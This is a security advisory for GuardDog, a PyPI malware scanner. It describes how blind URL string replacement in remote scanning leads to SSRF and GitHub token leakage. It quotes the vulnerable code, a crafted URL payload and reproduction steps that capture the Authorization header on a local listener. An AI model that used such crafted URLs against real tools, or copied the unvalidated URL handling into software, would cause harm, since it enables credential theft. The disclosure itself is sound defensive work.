GuardDog is a CLI tool to identify malicious PyPI packages. From 1.0.0 to 2.9.0, the programmatic remote project scanning path rewrites attacker-controlled repository URLs using a blind string replacement and then sends the caller's GitHub credentials with the resulting request. This allows an attacker who can influence the scanned repository URL to trigger SSRF and capture the GH_TOKEN used by GuardDog. This vulnerability is fixed in .

GHSA-587r-mc96-6f2p — GuardDog has a blind GitHub URL rewrite in remote project scanning causes SSRF and `GH_TOKEN` exfiltration

Affected: PyPI: guarddog

# Summary The programmatic remote project scanning path rewrites attacker-controlled repository URLs using a blind string replacement and then sends the caller's GitHub credentials with the resulting request. This allows an attacker who can influence the scanned repository URL to trigger SSRF and capture the `GH_TOKEN` used by GuardDog.

# Description `ProjectScanner.scan_remote()` takes a `url`, `branch`, and `requirements_name`, then constructs a raw GitHub URL by calling:

```python githubusercontent_url = url.replace("github", "raw.githubusercontent") req_url = f"{githubusercontent_url}/{branch}/{requirements_name}" resp = requests.get(url=req_url, auth=token) ```

Because this logic does not parse or validate the hostname, a crafted URL such as:

```text http://github@127.0.0.1:18081/owner/repo ```

is transformed into:

```text http://raw.githubusercontent@127.0.0.1:18081/owner/repo/main/requirements.txt ```

Requests interprets this as an HTTP request to `127.0.0.1:18081`, and GuardDog includes the configured GitHub credentials via HTTP Basic Auth.

# Reproduction summary 1. Start an HTTP listener on `127.0.0.1:18081` that logs the request path and `Authorization` header. 2. Set `GIT_USERNAME=alice` and `GH_TOKEN=supersecret`. 3. Call `PypiRequirementsScanner().scan_remote("http://github@127.0.0.1:18081/owner/repo", "main", "requirements.txt")`. 4. Observe a request to `/owner/repo/main/requirements.txt` with `Authorization: Basic YWxpY2U6c3VwZXJzZWNyZXQ=`.
